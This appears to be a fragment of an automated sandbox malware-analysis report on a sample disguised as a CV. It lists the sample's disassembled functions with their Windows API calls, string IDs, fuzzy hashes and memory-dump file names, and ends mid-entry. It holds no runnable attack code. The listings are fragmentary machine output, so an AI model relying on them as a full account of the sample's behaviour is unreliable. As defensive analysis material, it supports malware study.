                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CapsDesktopDeviceReleaseWindow
                                                                          • String ID:
                                                                          • API String ID: 2889604237-0
                                                                          • Opcode ID: dfebf7754bb6aa89c5cfbd777e4969db020f081df4b94883bc54ca7f6b30cbf1
                                                                          • Instruction ID: 1e8e7296cc78d93115d2029a617724a75d6249fbc6f60c2a11f74813a810f917
                                                                          • Opcode Fuzzy Hash: dfebf7754bb6aa89c5cfbd777e4969db020f081df4b94883bc54ca7f6b30cbf1
                                                                          • Instruction Fuzzy Hash: F7E04FB1500200EFDB005F70C84C5AD7FA6FB4C351F15D806F95A87210DB7498008F50
                                                                          Function 005CDCDF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • OleSetContainedObject.OLE32(?,00000001), ref: 005CDEAA
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ContainedObject
                                                                          • String ID: AutoIt3GUI$Container
                                                                          • API String ID: 3565006973-3941886329
                                                                          • Opcode ID: c5361abbb868a022e170237a2f298c3dc966417a2c7ae3acc2ab3fa821f3d807
                                                                          • Instruction ID: 880bd1a26d480acc0cfab741bb31c9c3ef8ae72810ba3e9186ce75ab8025687a
                                                                          • Opcode Fuzzy Hash: c5361abbb868a022e170237a2f298c3dc966417a2c7ae3acc2ab3fa821f3d807
                                                                          • Instruction Fuzzy Hash: 0A9118746006029FDB14DFA4C884F6ABBF9BF49710F24896DF94ACB691DB70E841CB60
                                                                          Function 005D290D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscpy
                                                                          • String ID: I/`$I/`
                                                                          • API String ID: 3048848545-746780777
                                                                          • Opcode ID: 88dfdb524e9d45900ed7a20722aa58de949687d2b7979f4fca71de7ff0cb1198
                                                                          • Instruction ID: aa2b300dcccac7087dcf3bb62e63e2851a336a41b277585fbd8168267bf9de2f
                                                                          • Opcode Fuzzy Hash: 88dfdb524e9d45900ed7a20722aa58de949687d2b7979f4fca71de7ff0cb1198
                                                                          • Instruction Fuzzy Hash: C441C031900216AACF35EF9CD451AFDBFB0FF68710F50504BE881A7291EA709E82D7A0
                                                                          Function 005ABCC9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • Sleep.KERNEL32(00000000), ref: 005ABCDA
                                                                          • GlobalMemoryStatusEx.KERNEL32 ref: 005ABCF3
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: GlobalMemorySleepStatus
                                                                          • String ID: @
                                                                          • API String ID: 2783356886-2766056989
                                                                          • Opcode ID: 3b31bbfba425ebbcbf05a637ef5f33691dfe8591698b479730520d487d0719d3
                                                                          • Instruction ID: 6d42009e80dc13005d9130a0e53f4414c19f52e52b13d54e5ba63b4e4a5727a7
                                                                          • Opcode Fuzzy Hash: 3b31bbfba425ebbcbf05a637ef5f33691dfe8591698b479730520d487d0719d3
                                                                          • Instruction Fuzzy Hash: B5512B71408745ABE320AF14DC8ABAFBBE8FFD6354F41484DF1C8410A6EB7085A8C756
                                                                          Function 005DC56D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005944ED: __fread_nolock.LIBCMT ref: 0059450B
                                                                          • _wcscmp.LIBCMT ref: 005DC65D
                                                                          • _wcscmp.LIBCMT ref: 005DC670
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscmp$__fread_nolock
                                                                          • String ID: FILE
                                                                          • API String ID: 4029003684-3121273764
                                                                          • Opcode ID: 2119900aa3cbd477bc6e2571d2f840265ca2e903fb887093399aab670f5b8ca1
                                                                          • Instruction ID: dd16d6e65fdacadc6227d1fc0aff7ceae197a8baf177bc8b5d27af4e29f5f784
                                                                          • Opcode Fuzzy Hash: 2119900aa3cbd477bc6e2571d2f840265ca2e903fb887093399aab670f5b8ca1
                                                                          • Instruction Fuzzy Hash: DA41B472A0021BBADF209AA8DC45FEF7FB9BF89714F01446AF605E6281D6709A05CB51
                                                                          Function 005FA76A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00001132,00000000,?), ref: 005FA85A
                                                                          • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 005FA86F
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID: '
                                                                          • API String ID: 3850602802-1997036262
                                                                          • Opcode ID: ca23ffd70603c78c544fc3c4a6f8f6dec3a679e74c788dfa0d9147a9284eac47
                                                                          • Instruction ID: e6e4de8772320fc119dc103f3e853b153a6c596f2102195dca229d2d88d66aa1
                                                                          • Opcode Fuzzy Hash: ca23ffd70603c78c544fc3c4a6f8f6dec3a679e74c788dfa0d9147a9284eac47
                                                                          • Instruction Fuzzy Hash: 6E41FAB4E0130D9FDB14DF68C881BEA7BB9FB09340F14046AEA09AB341D774A941CFA1
                                                                          Function 005F975A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DestroyWindow.USER32(?,?,?,?), ref: 005F980E
                                                                          • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 005F984A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$DestroyMove
                                                                          • String ID: static
                                                                          • API String ID: 2139405536-2160076837
                                                                          • Opcode ID: 871bc182b07a1e5db7559472741f8c8ba7c559000f5c47b2cae8dc2d21b70254
                                                                          • Instruction ID: d28a2fe8b7e1531c27ea97f8a51c3282a8a34bb7f4e2a7fc95f0db4472b25de2
                                                                          • Opcode Fuzzy Hash: 871bc182b07a1e5db7559472741f8c8ba7c559000f5c47b2cae8dc2d21b70254
                                                                          • Instruction Fuzzy Hash: 1031AF71110608AEEB109F34CC81BFB7BB9FF99760F009619F9A9C7190DA34AC81CB60
                                                                          Function 005D5157 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005D51C6
                                                                          • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 005D5201
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: InfoItemMenu_memset
                                                                          • String ID: 0
                                                                          • API String ID: 2223754486-4108050209
                                                                          • Opcode ID: 20d0c6cc1b9784c3d11aa2e16cd6b667e1f93d3a06d5c786d56eaf0a66750bec
                                                                          • Instruction ID: d0175c56db8ebdd551287b00fa1be6dba3d9ec98812c06351fbb5e8dcbd6f2d3
                                                                          • Opcode Fuzzy Hash: 20d0c6cc1b9784c3d11aa2e16cd6b667e1f93d3a06d5c786d56eaf0a66750bec
                                                                          • Instruction Fuzzy Hash: 6231D5396007059BEB34CF9DD845B9EBFF5BF45350F14441BE991A62A0F7709A48CB10
                                                                          Function 005E658B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __snwprintf
                                                                          • String ID: , $$AUTOITCALLVARIABLE%d
                                                                          • API String ID: 2391506597-2584243854
                                                                          • Opcode ID: 52f86015a9fe483a37008832fa01cef7f64590e026ee86ec08af4776c215dcbc
                                                                          • Instruction ID: d349987d59b9cf4c303f6b5f36f35d76699976482187c795bfe97c39e0d31119
                                                                          • Opcode Fuzzy Hash: 52f86015a9fe483a37008832fa01cef7f64590e026ee86ec08af4776c215dcbc
                                                                          • Instruction Fuzzy Hash: 2F21E431A0012AAFCF15EFA4C886EEE7FB5BF94380F000459F145AB141DB70EA55CBA1
                                                                          Function 005F93CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 005F945C
                                                                          • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 005F9467
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID: Combobox
                                                                          • API String ID: 3850602802-2096851135
                                                                          • Opcode ID: 1a342bf3da16a04b2793f1f82362081c588aada39371b409066fb3e555a26162
                                                                          • Instruction ID: c5c324c4867d46980289f8d1540132b2ddc6effb2781af6ea86a997d5fd500d1
                                                                          • Opcode Fuzzy Hash: 1a342bf3da16a04b2793f1f82362081c588aada39371b409066fb3e555a26162
                                                                          • Instruction Fuzzy Hash: 741190B120060D6FEF119E54DC85FBB3B6BFB983A4F104525FA19972E0D6359C528760
                                                                          Function 005FDA42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AB34E: GetWindowLongW.USER32(?,000000EB), ref: 005AB35F
                                                                          • GetActiveWindow.USER32 ref: 005FDA7B
                                                                          • EnumChildWindows.USER32(?,005FD75F,00000000), ref: 005FDAF5
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$ActiveChildEnumLongWindows
                                                                          • String ID: T1^
                                                                          • API String ID: 3814560230-3732546623
                                                                          • Opcode ID: 1e0021d929a8266b643858d4e865c0b16f74e01190c71d43f9ee4b8d314358e0
                                                                          • Instruction ID: 0b774c7554a229a4f08135a31eda8ffaf37f67cd8ce963ec2efc1ca890a48ea1
                                                                          • Opcode Fuzzy Hash: 1e0021d929a8266b643858d4e865c0b16f74e01190c71d43f9ee4b8d314358e0
                                                                          • Instruction Fuzzy Hash: A9211D75204305DFCB15DF28D850AA67BF6FF9A321F250619E9658B3E0D734A800DF64
                                                                          Function 005F98FE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AD17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 005AD1BA
                                                                            • Part of subcall function 005AD17C: GetStockObject.GDI32(00000011), ref: 005AD1CE
                                                                            • Part of subcall function 005AD17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 005AD1D8
                                                                          • GetWindowRect.USER32(00000000,?), ref: 005F9968
                                                                          • GetSysColor.USER32(00000012), ref: 005F9982
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                                          • String ID: static
                                                                          • API String ID: 1983116058-2160076837
                                                                          • Opcode ID: 1ff4d3bc243834e5703bc7437115c420b9b32bdc66ebb968119af0a531d8df19
                                                                          • Instruction ID: 755c2f20ff8e4d987889eff1374a7b6a4eed08d8a2e660954bd65e493d793a8a
                                                                          • Opcode Fuzzy Hash: 1ff4d3bc243834e5703bc7437115c420b9b32bdc66ebb968119af0a531d8df19
                                                                          • Instruction Fuzzy Hash: 5811897251020AAFDB00DFB8CC45AFA7BA9FB08304F015619FA55D3150E778E810CB60
                                                                          Function 005F9617 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetWindowTextLengthW.USER32(00000000), ref: 005F9699
                                                                          • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 005F96A8
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: LengthMessageSendTextWindow
                                                                          • String ID: edit
                                                                          • API String ID: 2978978980-2167791130
                                                                          • Opcode ID: 0c911cd5bed8c4300c8df15afa3be2d866f679efa3061d48afffc55e7c71baff
                                                                          • Instruction ID: 7346f84220bd2be67300ba08d08d93f37f3db48749be5a77c678bba9fb201283
                                                                          • Opcode Fuzzy Hash: 0c911cd5bed8c4300c8df15afa3be2d866f679efa3061d48afffc55e7c71baff
                                                                          • Instruction Fuzzy Hash: 6F116671100609AAEF119FA8DC84FFB3B6AFB053A8F104714FA65D72E0C7399C519BA0
                                                                          Function 005D5262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005D52D5
                                                                          • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 005D52F4
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: InfoItemMenu_memset
                                                                          • String ID: 0
                                                                          • API String ID: 2223754486-4108050209
                                                                          • Opcode ID: c828e9fab20b910fa80c78b4b7c2e00f13be8f550bc3d259b1cfdc43e64a3137
                                                                          • Instruction ID: de344c2fbe9bb00729ee2dc044a0a6341e7db73c7277c8bc8ed3ffa5633b0b19
                                                                          • Opcode Fuzzy Hash: c828e9fab20b910fa80c78b4b7c2e00f13be8f550bc3d259b1cfdc43e64a3137
                                                                          • Instruction Fuzzy Hash: 7611D076901614ABDF30DE9CD905B997FA9BB06790F040427E911AB390E3B0ED48CB91
                                                                          Function 005E4D9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 005E4DF5
                                                                          • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 005E4E1E
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Internet$OpenOption
                                                                          • String ID: <local>
                                                                          • API String ID: 942729171-4266983199
                                                                          • Opcode ID: b2dd4b5af45c1f4068e84bb9b71b665fca5c9e4fecfef506d1eacca505b983a3
                                                                          • Instruction ID: 07a0890d9322f9de122c0a38f09621806b156725e362a039d7f74644d0a00f00
                                                                          • Opcode Fuzzy Hash: b2dd4b5af45c1f4068e84bb9b71b665fca5c9e4fecfef506d1eacca505b983a3
                                                                          • Instruction Fuzzy Hash: A711AC705012A1FBDB298F62CC88EFBFEADFF06754F10862AF58596180D3706940CAE0
                                                                          Function 005BA70C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 005C37A7
                                                                          • ___raise_securityfailure.LIBCMT ref: 005C388E
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: FeaturePresentProcessor___raise_securityfailure
                                                                          • String ID: (e
                                                                          • API String ID: 3761405300-1097410000
                                                                          • Opcode ID: 96d4942b49d990fa12fdbbcf241c4b9712410024de089db2093e80b8efb1a12a
                                                                          • Instruction ID: 1eb7f4b7411cbe943fece8d9cd945c1c6a2cafe9be319db3b2f1708f2524c49f
                                                                          • Opcode Fuzzy Hash: 96d4942b49d990fa12fdbbcf241c4b9712410024de089db2093e80b8efb1a12a
                                                                          • Instruction Fuzzy Hash: 7F21E3B55003059AF700DF55ED96A803BF6FB4C312F20A92AE905863B1E3B0E980CB45
                                                                          Function 005EA82C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 005EA84E
                                                                          • htons.WSOCK32(00000000,?,00000000), ref: 005EA88B
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: htonsinet_addr
                                                                          • String ID: 255.255.255.255
                                                                          • API String ID: 3832099526-2422070025
                                                                          • Opcode ID: 312ad320e3f29ce6522fb32e94309ea9965f2d91fbdb1e4aa2fe00e50b2e49c1
                                                                          • Instruction ID: 340693d36b68463d9fab79bb821fe23d0bf75ee3a13e8fda8638b98ae792070c
                                                                          • Opcode Fuzzy Hash: 312ad320e3f29ce6522fb32e94309ea9965f2d91fbdb1e4aa2fe00e50b2e49c1
                                                                          • Instruction Fuzzy Hash: 9B012235204306ABCB259F78C88AFE9BB65FF44310F10842AF516AB3D1D731E801C752
                                                                          Function 005CB781 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 005CB7EF
                                                                          Strings
